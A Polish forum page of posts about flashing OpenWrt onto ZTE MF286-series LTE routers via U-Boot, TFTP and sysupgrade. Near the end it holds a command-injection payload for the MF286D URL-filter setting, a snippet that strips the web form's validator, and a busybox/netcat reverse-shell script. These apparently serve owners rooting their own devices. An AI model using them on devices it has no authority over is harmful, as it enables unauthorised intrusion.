Coś czuję, że te BBU za chwilę też szybciutko się rozejdą ;-)
Nie jesteś zalogowany. Proszę się zalogować lub zarejestrować.
eko.one.pl → Posty przez Leo-PL
Coś czuję, że te BBU za chwilę też szybciutko się rozejdą ;-)
Załączam podsumowanie z instalacji openwrt. Sprawdzcie:
- Ustawić na interfejsie serwera tftp IP 192.168.0.22 255.255.255.0 - wystawic serwer tftp z obrazem initramfs dla MF286A jak np. openwrt-21.02-ath79-nand-zte_mf286a-initramfs-kernel.bin - podłaczyc uart i zatrzymac uboot - pobrac obraz do ram routera przez: tftpboot 0x81000000 openwrt-21.02-ath79-nand-zte_mf286a-initramfs-kernel.bin - uruchomić obraz w ram przez: bootm 0x81000000 - wstanie openwrt "life" - zmienic ustawienia karty sieciowej na dhcp bo openwrt ma IP=192.168.1.1 - wstanie openwrt "life" - wysłać po scp jakiś obraz dla MF286A jak openwrt-21.0-ath79-nand-zte_mf286a-squashfs-sysupgrade.bin przez : scp openwrt-21.0-ath79-nand-zte_mf286a-squashfs-sysupgrade.bin root@192.168.1.1:/tmp/ - ssh do routera i wykonać: sysupgrade -n /tmp/openwrt-21.0-ath79-nand-zte_mf286a-squashfs-sysupgrade.bin
Można od razu ustawić 192.168.1.22 i wpisać w U-boocie dwie komendy:
setenv serverip=192.168.1.22
setenv ipaddr=192.168.1.1
I dopiero odpalać TFTP. Tak z resztą jest w commit message. Będzie szybciej.
Jak już nic nie działa, to równie dobrze można zaorać pierwszy sektor kernela z U-boota.
Wszystko się zgadza, z tym że nie trzeba do tego wcale odpalać najpierw openwrt z initramfsa po TFTP. Można z istniejącej instalacji.
Nie, no jak. Opisywałem dokładnie tą metodę, ale jako "last resort".
Ok, to teraz wstanie ze stocka. Tym samym, kolejna metoda instalacji przetestowana, po zapaleniu tych LED trzeba go zrestartować ręcznie.
192.0.0.1 i 255.0.0.0. O ile w tym modelu tego nie zmienili. Najwyżej zobaczysz w konsoli, co nastawić.
Czasami TFTP zaskakuje dopiero za drugą próbą.
Zobacz w /proc/mtd która to partycja i "mtd erase /dev/mtdN" gdzie N to numer tej partycji.
aaaa kumam .... po zabootowaniu z tftp rootfs_uimage za pomoca uarta wydaje komendy do nadpisania rootfs
wystarczy rootfs (mtd13) czy jeszcze jakies?
Sklej "web", "kernel", "rootfs" w tej kolejności i wystaw na TFTP jako "root_uImage". TFTP pod adresem 192.0.0.1/8 (maska 255.0.0.0!).
Zaoraj kernel, reboot. U-boot sam go zaciągnie i zflashuje. Zaświecą się wszystkie diody od switcha, wtedy zrestartuj router zasilaniem.
Ten plik nie służy do bezpośredniego bootowania, tylko zflashowania z poziomu U-boota - ten ładuje zawartość tych trzech partycji za jednym strzałem. Swoją drogą, ten człowiek z ZTE, który ten layout wymyślił, powinien zawisnąć na latarni.
Disclaimer: tak to działało to na MF286, na MF286A jeszcze nie testowałem tego osobiście.
Zielony migający LED modemu znaczy aktywne połączenie 3G/2G.
Doskonale. To dokładnie ten sam modem - nie muszę nic dokładać. Wystarczy, że po prostu przekompiluję to co już miałem, z ewentualnymi dodatkowymi paczkami dla wygody.
@Cezary, myślę, że możesz spróbować zrobić z tego backport. Modem powinien działać "out of box", oba interfejsy Wi-Fi i switch działały. Zwróć uwagę przy przenoszeniu danych kalibracyjnych do userspace, że hotplug zapyta o binarkę pre-cal*, bo na 5GHz jest tam QCA9888, czyli Wave2.
Dioda WLAN oczywiście nie działa, tak jak w poprzedniku :-D
A ja za chwilę mogę upstreamować.
Czy ktokolwiek posiada 286R? Jeżeli faktycznie różnią się tylko modemem, może dałoby się opędzić je tym samym softem.
Niejeden modem w życiu rozebrałem, to raz. Dwa, przeczytaj XMLe z paczki z firmwarem i zobacz jak często występuje w tych plikach rozszerzenie "ubifs" ;-)
UBIFSa (i UBI) nie używa się na pamięciach z własnym kontrolerem, jak eMMC czy UFS, tylko na gołych NANDach właśnie.
Trzecia przesłanka: nazwa loadera zaczyna się od (E)NPRG, gdzie N oznacza "NAND". Loadery eMMC mają w nazwie "M".
Temat ogólny został zamknięty, więc teraz niespecjalnie mam gdzie napisać, ale poczyniłem pewne odkrycie.
Ponieważ modem pamięta wewnątrz ostatni użyty APN i typ połączenia, wystarczy w /etc/config/network wpisać dosłownie tyle:
config interface 'wan'
option proto 'qmi'
option device '/dev/cdc-wdm0'Działa to od MF283+ do MF286D.
by modem podłączył się do zapamiętanych ustawień z fabrycznego firmware'u. Oczywiście przy założeniu, że operator nie wymaga uwierzytelnienia i SIM nie wymaga pinu (patrzę tu z pogardą na firme Orżnąć).
Wyszło mi z analizy, że na masterze powinno dać się to osiągnąć z poziomu /etc/board.d/02_network dorzucając taką komendę:
ucidef_set_interface_wan "/dev/cdc-wdm0" "qmi"Zamierzam przetestować to dokładniej i być może zupstreamować w urządzeniach z wbudowanymi modemami - to byłoby spore usprawnienie. Na 21.02 też chyba jest szansa, że to zadziała, albowiem wtedy zostały zunifikowany atrybuty "ifname" i "device" interfejsów.
Miałem wczoraj odpisać, żebyście właśnie tego użyli.
Spróbujcie wymusić loader na ten dołączony do paczki z firmwarem.
Modem ma w środku kość NAND, nie UFS, stąd edl mógł się wykrzaczyć. Ale odpalając:
edl --vid 192d --pid 0076 --loader NPRG9x55.mbn rf nandimage.binprzynajmniej powinno się udać zrzucić tą pamięć.
Niestety, do flashowania prawdopodobnie trzeba będzie użyć oficjalnych qualcommowych tooli, EDL rozumie tylko typowe pliki QFIL dla telefonów z Androidem na eMMC lub UFS - typowo rawprogram0.xml i patch0.xml, programowanie NANDa jest bardziej skomplikowane.
Uf. W końcu mam czas odpisać. Prośba do kogoś kto ma już root shell:
mount -t debugfs none /sys/kernel/debug
cat /sys/kernel/debug/usb/devicesI wyjście z tego drugiego proszę mi tu wkleić - potrzebuję wyczytać USB ID i sterowniki przypięte do modemu. Jak będę to miał, to skleję obrazy. Na sztukach na których robiłem testy do tej pory modemy są uceglone, więc nie miałem jeszcze jak tego sprawdzić.
Odnośnie adapterów UART.
Zaobserwowałem na oscyloskopie że adapter na CH340 ma peak2peak na Tx=5V.
A zawsze myślałem że to wersja 3V.
Może dlatego krzaki były, chociaż nie tłumaczy to dlaczego tylko na czas uboota.
Co ciekawe CH341 ma peak2peak na Tx=3,3V czyli jest ok
Jak dojdzie Ci jednostka, to daj znać, spłodzę na nią jakąś kompilację.
Odnośnie krzaków: U-boot może szybciej wypychać dane niż Linux, tak że bit stopu trwa faktycznie jeden bit, plus z minimalnie rozjechaną częstotliwością i to wystarczy, by CH340 się na tym zgubił, jak trafi na choćby jeden skaszaniony bajt.
Jeszcze go nie mam
Mysle nad zakupem ale problematyczna jest chyba wersja "A" ?
Zauwazyłem ze stare plakietki nie miały w nazwie A ( tam na końcu ) o ile to ma jakieś znaczenie.
Czytaj.
Wersji R nie miałem w łapach. Chętnie zobaczę bootlog i flash layout, jeżeli ktoś ma. Coś mi świta, że to będzie ten sam hardware co A, tylko inny modem. Była rozpiska w tym temacie.
Edit: tu była: https://eko.one.pl/forum/viewtopic.php? … 43#p257543
I tak jest w istocie. Więc raczej będzie działać, tylko trzeba będzie przypiąć modem z R do jakiegoś drivera - pewnie nie będzie wspierał QMI, bo jest na jakimś Marvellu i w modemie chyba chodzi druga instancja OpenWrt. Wygląda też na to, że modemy w MF286 i MF286A są identyczne z punktu widzenia kompatybilności ich oprogramowania.
Kolega ma 2szt MF286A z Tele2. Krzaki też występowały. Ale tylko przy podpięciu przez tani i kiepski CH340. Na CP2102 wyjście z U-boota jest już poprawne.
@pawol Na razie to jest WIP. Wypchałem jakieś źródła, ale nie ma sensu na razie kleić buildów.
Nie mam pod ręką grata ze sprawnym modemem, by przetestować to do końca. Jak trafisz na jednostkę ze sprawnym modemem i podepniesz przez porządny UART, to można wtedy pomyśleć. Instaluje się tak samo - przez initramfs, innych metod na razie nie testowałem.
Wpadliście na to, że w U-boocie pewnie jest po prostu inny baud, np 57600?
W commit message jest poprawnie:
https://github.com/openwrt/openwrt/pull … 4d92350676
Serial + initramfs:
1. Prepare OpenWrt initramfs image in TFTP server root.
Server IP in example: 192.168.1.3
2. Connect serial console (115200,8n1) to X8 connector.
3. Connect TFTP server to RJ-45 port.
4. Stop in u-Boot and run u-Boot commands:
setenv serverip 192.168.1.3
setenv ipaddr 192.168.1.72
set fdt_high 0x85000000
tftp openwrt-ipq40xx-generic-zte_mf286d-initramfs-fit-zImage.itb
bootm $loadaddr
5. Please make backup of original partitions, if you think about revert to stock.
6. Login via ssh or serial and remove stock partitions:
ubiattach -m 9
ubirmvol /dev/ubi0 -N ubi_rootfs
ubirmvol /dev/ubi0 -N ubi_rootfs_data
7. Install image via "sysupgrade -n".Co ciekawe, u mnie w stocku ubi_rootfs_data nie było. Można byłoby jeszcze pomyśleć o dołożeniu dodatkowego wolumenu pod rootfs_data dla OpenWrt, w tej chwili sporo miejsca się marnuje.
U jakiego operatora sprawdzasz ipv6? Orange?
Tak. z umbim na EM7455 doprowadziłem to do działania.
Leo-PL napisał/a:No właśnie jakimś cudem te paczki u mnie się nie wciągnęły. Zaraz sprawdzę, dlaczego.
Czasem tak bywa jak przełączasz config z jednej architektury na drugą.
Dobra, wszystko jasne. Paczki które są w DEFAULT_PACKAGES dają się jednak przez przypadek wyłączyć. USB 3.0 miałem właśnie wyłączone, bo jedyne inne urządzenie na które robiłem buildy to MR33, które USB wyprowadzonego nie ma.
Sprawdziłem też IPv6 na MF286D. Sypie się identycznie w połączeniu z uqmi jak zwykły 286. Na starym 283+ nie mam jak sprawdzić, kolega używa od roku ;-P
No właśnie jakimś cudem te paczki u mnie się nie wciągnęły. Zaraz sprawdzę, dlaczego. Anyway, leci clean build, może coś skaszaniło się z zależnościami.
@Królik w DEVICE_PACKAGES brakuje części paczek od obsługi USB 3.0. Wciągnąłem stan z wczoraj, po odpaleniu builda nie wciągnęły mi się drivery do kontrolera. Właśnie próbuję wykombinować zestaw paczek, które trzeba dołożyć.
Jest pewien postęp: aby wywalić walidator z pola URL filter trzeba odpalić w konsoli JS to:
setInterval(() => {$('#addURLFilter').rules('remove')}, 200)Lub po prostu samo
jQuery("#addURLFilter").rules("remove")Aczkolwiek wygląda na to, że pomiędzy webem a komendą 'nv' ktoś w końcu dołożył poprawnie cudzysłowy, bo choć wartości się nastawiają, to exploit się nie wykonuje.
Na razie to pierniczę i instaluję OpenWrt, może pobawię się w statyczną analizę później.
@Leo-PL
Na Nordic_MF286D_B10 kliknąłem prawym > zbadaj na pole w które dodaje się url do filtrowania
Zmieniłem name i maxlength aby wyglądało to w ten sposób<input type="text" name="ddd" id="addURLFilter" maxlength="332" class="required form-control valid">
Dzięki temu można dodać cokolwiek się chce, zauważyłem że można nawet dodać puste pole.
Po restarcie wciąż urządzenie pamięta to co dodałem jednak nie udało mi się uruchomić telnetu ;(
Tak. Da się wpisać, sprawdzałem. Ale pod spodem jeszcze jakiś validator to mieli i nie przepuszcza requestu.
Raz udało mi się dodać taki string, ale pewnie przez jakiś wyścig. Wpisanie choć jednego "&" ciągle wyrzuca komunikat nawet po zmianie nazwy pola.
Odnośnie exploita do shella na MF286D, ustaliłem co następuje:
- zte_debug.sh istnieje
- Ustawienie filtra z palca przez "nv set websURLFilters=test&&zte_debug.sh 192.168.32.22 sploit" ściąga i wykonuje exploit
- Filtrowanie stringów w webie przez JSa jest dużo bardziej upierdliwe i jeszcze go nie obszedłem, ale przypadkiem raz udało mi się wprowadzić stringa który to zawierał, tylko wskazywał wtedy na niewłaściwe IP.
- Busybox ściągnięty stąd: https://busybox.net/downloads/binaries/ … box-armv7m i zrenamowany jako telnetd wykonuje się tak jak trzeba, w tym odpalony przez buga w parserze.
- Hasło "admin" nie pasuje - to generuje się co reset do ustawień fabrycznych i nie jest związane z hasłem do weba, które jest na etykiecie na spodzie modemu. Potrzebna jest wersja telnetd która nie sprawdza hasła, lub inny sposób na reverse shell, choćby przy użyciu netcata.
Zostało więc tylko rozgryzienie zabezpieczeń w JSach, albo ich obejście. Bug w parserze NV wciąż tam jest.
Moja wersji softu: Nordic_MF286D_B10
Edit: Jest i sposób na reverse shell, używajacy tego samego busyboxa:
#!/bin/sh
# run nc -l -p 2137 on host on IP 192.168.32.22
tftp -g 192.168.32.22 -l /tmp/nc -r busybox
chmod 777 /tmp/nc
rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|/tmp/nc 192.168.32.22 2137 >/tmp/fTeraz tylko ten cholerny javascript ![]()
eko.one.pl → Posty przez Leo-PL
Forum oparte o PunBB, wspierane przez Informer Technologies, Inc